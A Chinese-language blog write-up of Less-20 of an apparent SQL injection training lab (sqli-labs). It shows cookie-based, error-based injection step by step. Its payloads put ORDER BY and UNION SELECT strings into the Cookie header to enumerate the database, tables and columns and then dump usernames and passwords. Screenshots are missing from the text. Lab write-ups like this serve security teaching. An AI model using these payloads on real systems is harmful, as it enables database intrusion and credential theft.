Less（20）POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

Posted 2021-03-10 meng-yu37

1.单引号，报错型，cookie型注入。

　　（1）登录后页面显示：

　　　　　

　　（2）查看一下php文件

　　　　

 

 

 　　　　可以看到查询语句查询cookee，那我们就在cookies里面进行注入

　　（3）抓包看一下：

　　　　

 

 

 　　　　看到cookie：uname=admin ，就可以以cookie注入了

　　（4）加单引号发现：

　　　　

 

 

 　　　　爆出语法错误，看得出来就是单引号型;

　　（5）接下来查一下行数

　　　　Cookie:uname=admin‘ order by 3 --+ //正常

 

 

 

　　　　

 

 

 

 　　Cookie:uname=admin‘ order by 4 --+  //不正常

           

 

 

 2.爆破

　　（1）爆库：Cookie:uname=-admin‘ union select 1,2,database() --+

　　　　

 

 　　（2）爆表：Cookie:uname=-admin‘ union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security"  --+

　　　　

 

　　（3）爆列名：Cookie:uname=-admin‘ union select 1,2,group_concat(column_name)from information_schema.columns where table_name="users"   --+

　　　　

 

 　　（4）爆值：Cookie:uname=-admin‘ union select 1,2,group_concat(username,0x7e,password)from security.users    --+